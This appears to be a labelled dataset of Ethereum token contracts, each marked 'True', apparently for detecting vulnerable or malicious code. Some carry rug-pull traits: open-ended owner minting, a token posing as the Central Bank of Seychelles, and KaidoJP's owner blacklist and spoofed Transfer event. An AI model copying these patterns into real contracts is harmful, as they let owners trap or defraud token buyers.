function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualSwap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(
uint256 tTransferAmount,
uint256 tReflect,
uint256 tTeam
) = _getTValues(tAmount, _reflectionFee, _teamFee);
uint256 currentRate = _getRate();
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rReflect
) = _getRValues(tAmount, tReflect, tTeam, currentRate);
return (
rAmount,
rTransferAmount,
rReflect,
tTransferAmount,
tReflect,
tTeam
);
}
function _getTValues(
uint256 tAmount,
uint256 reflectFee,
uint256 teamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tReflect = tAmount.mul(reflectFee).div(100);
uint256 tTeam = tAmount.mul(teamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tReflect).sub(tTeam);
return (tTransferAmount, tReflect, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tReflect,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rReflect = tReflect.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rReflect).sub(rTeam);
return (rAmount, rTransferAmount, rReflect);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | True | [
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pragma solidity 0.5.2;
contract Merunas {
address payable public owner = msg.sender;
function () external {}
function receiveDonation() public payable {}
function extractFunds() public {
require(msg.sender == owner);
owner.transfer(address(this).balance);
}
function showBalance() public view returns(uint256) {
return address(this).balance;
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2022-02-24
*/
pragma solidity ^0.4.23;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
/**
* @title ERC20 interface
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
/**
* @title Mintable token
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
// freezing chains
mapping (bytes32 => uint64) internal chains;
// freezing amounts for each chain
mapping (bytes32 => uint) internal freezings;
// total freezing balance per address
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
/**
* @dev Gets the balance of the specified address include freezing tokens.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
/**
* @dev Gets the balance of the specified address without freezing tokens.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
/**
* @dev gets freezing count
* @param _addr Address of freeze tokens owner.
*/
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count++;
release = chains[toKey(_addr, release)];
}
}
/**
* @dev gets freezing end date and freezing balance for the freezing portion specified by index.
* @param _addr Address of freeze tokens owner.
* @param _index Freezing portion index. It ordered by release date descending.
*/
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
/**
* @dev freeze your tokens to the specified address.
* Be careful, gas usage is not deterministic,
* and depends on how many freezes _to address already has.
* @param _to Address to which token will be freeze.
* @param _amount Amount of token to freeze.
* @param _until Release date, must be in future.
*/
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Transfer(msg.sender, _to, _amount);
emit Freezed(_to, _until, _amount);
}
/**
* @dev release first available freezing tokens.
*/
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
} else {
chains[headKey] = next;
delete chains[currentKey];
}
emit Released(msg.sender, amount);
}
/**
* @dev release all available for release freezing tokens. Gas usage is not deterministic!
* @return how many tokens was released
*/
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
// masc to increase entropy
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
/**
* @dev Mint the specified amount of token to the specified address and freeze it until the specified date.
* Be careful, gas usage is not deterministic,
* and depends on how many freezes _to address already has.
* @param _to Address to which token will be freeze.
* @param _amount Amount of token to mint and freeze.
* @param _until Release date, must be in future.
* @return A boolean that indicates if the operation was successful.
*/
function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Mint(_to, _amount);
emit Freezed(_to, _until, _amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
}
contract Consts {
uint public constant TOKEN_DECIMALS = 18;
uint8 public constant TOKEN_DECIMALS_UINT8 = 18;
uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string public constant TOKEN_NAME = 'MedistockPayCoin';
string public constant TOKEN_SYMBOL = "MPC";
bool public constant PAUSED = false;
address public constant TARGET_USER = 0x9f13A1B6EbbC590FC090424411095d0FB4DBB432;
bool public constant CONTINUE_MINTING = true;
}
contract MedistockPayCoin is Consts, FreezableMintableToken, BurnableToken, Pausable
{
event Initialized();
bool public initialized = false;
constructor() public {
init();
transferOwnership(TARGET_USER);
}
function name() public pure returns (string _name) {
return TOKEN_NAME;
}
function symbol() public pure returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() public pure returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
function init() private {
require(!initialized);
initialized = true;
if (PAUSED) {
pause();
}
address[1] memory addresses = [address(0x9f13A1B6EbbC590FC090424411095d0FB4DBB432)];
uint[1] memory amounts = [uint(5000000000000000000000000000)];
uint64[1] memory freezes = [uint64(0)];
for (uint i = 0; i < addresses.length; i++) {
if (freezes[i] == 0) {
mint(addresses[i], amounts[i]);
} else {
mintAndFreeze(addresses[i], amounts[i], freezes[i]);
}
}
if (!CONTINUE_MINTING) {
finishMinting();
}
emit Initialized();
}
} | True | [
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pragma solidity 0.4.24;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20 {
function totalSupply()public view returns (uint total_Supply);
function balanceOf(address _owner)public view returns (uint256 balance);
function allowance(address _owner, address _spender)public view returns (uint remaining);
function transferFrom(address _from, address _to, uint _amount)public returns (bool ok);
function approve(address _spender, uint _amount)public returns (bool ok);
function transfer(address _to, uint _amount)public returns (bool ok);
event Transfer(address indexed _from, address indexed _to, uint _amount);
event Approval(address indexed _owner, address indexed _spender, uint _amount);
}
contract CentralBankofSeychelles is ERC20
{using SafeMath for uint256;
string public constant symbol = ",000.SCR.SeychelloisRupee";
string public constant name = "Central Bank of Seychelles";
uint public constant decimals = 18;
uint256 _totalSupply = 999000000000000000000 * 10 ** 18; // 999 Trillion Total Supply including 18 decimal
// Owner of this contract
address public owner;
// Balances for each account
mapping(address => uint256) balances;
// Owner of account approves the transfer of an amount to another account
mapping(address => mapping (address => uint256)) allowed;
// Functions with this modifier can only be executed by the owner
modifier onlyOwner() {
if (msg.sender != owner) {
revert();
}
_;
}
// Constructor
constructor () public {
owner = msg.sender;
balances[owner] = _totalSupply;
emit Transfer(0, owner, _totalSupply);
}
function burntokens(uint256 tokens) public onlyOwner {
_totalSupply = (_totalSupply).sub(tokens);
}
// what is the total supply of the ech tokens
function totalSupply() public view returns (uint256 total_Supply) {
total_Supply = _totalSupply;
}
// What is the balance of a particular account?
function balanceOf(address _owner)public view returns (uint256 balance) {
return balances[_owner];
}
// Transfer the balance from owner's account to another account
function transfer(address _to, uint256 _amount)public returns (bool ok) {
require( _to != 0x0);
require(balances[msg.sender] >= _amount && _amount >= 0);
balances[msg.sender] = (balances[msg.sender]).sub(_amount);
balances[_to] = (balances[_to]).add(_amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
// Send _value amount of tokens from address _from to address _to
// The transferFrom method is used for a withdraw workflow, allowing contracts to send
// tokens on your behalf, for example to "deposit" to a contract address and/or to charge
// fees in sub-currencies; the command should fail unless the _from account has
// deliberately authorized the sender of the message via some mechanism; we propose
// these standardized APIs for approval:
function transferFrom( address _from, address _to, uint256 _amount )public returns (bool ok) {
require( _to != 0x0);
require(balances[_from] >= _amount && allowed[_from][msg.sender] >= _amount && _amount >= 0);
balances[_from] = (balances[_from]).sub(_amount);
allowed[_from][msg.sender] = (allowed[_from][msg.sender]).sub(_amount);
balances[_to] = (balances[_to]).add(_amount);
emit Transfer(_from, _to, _amount);
return true;
}
// Allow _spender to withdraw from your account, multiple times, up to the _value amount.
// If this function is called again it overwrites the current allowance with _value.
function approve(address _spender, uint256 _amount)public returns (bool ok) {
require( _spender != 0x0);
allowed[msg.sender][_spender] = _amount;
emit Approval(msg.sender, _spender, _amount);
return true;
}
function allowance(address _owner, address _spender)public view returns (uint256 remaining) {
require( _owner != 0x0 && _spender !=0x0);
return allowed[_owner][_spender];
}
//In case the ownership needs to be transferred
function transferOwnership(address newOwner) external onlyOwner
{
uint256 x = balances[owner];
require( newOwner != 0x0);
balances[newOwner] = (balances[newOwner]).add(balances[owner]);
balances[owner] = 0;
owner = newOwner;
emit Transfer(msg.sender, newOwner, x);
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-09-27
*/
/**
Telegram: https://t.me/KaidoJPToken
// SPDX-License-Identifier: Unlicensed
*/
pragma solidity ^0.8.3;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract KaidoJP is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 999999999 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "KaidoJP";
string private constant _symbol = "KaidoJP";
uint8 private constant _decimals = 9;
uint256 private _taxFee;
uint256 private _teamFee;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable addr1, address payable addr2, address payable addr3) {
_FeeAddress = addr1;
_marketingWalletAddress = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_FeeAddress] = true;
_isExcludedFromFee[addr3] = true;
_isExcludedFromFee[_marketingWalletAddress] = true;
emit Transfer(address(0xdc9853b1Bd539D5427304A4D48A3a2D20520cb3B), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_taxFee = 4;
_teamFee = 5;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_taxFee = 4;
_teamFee = 5;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 999999999 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
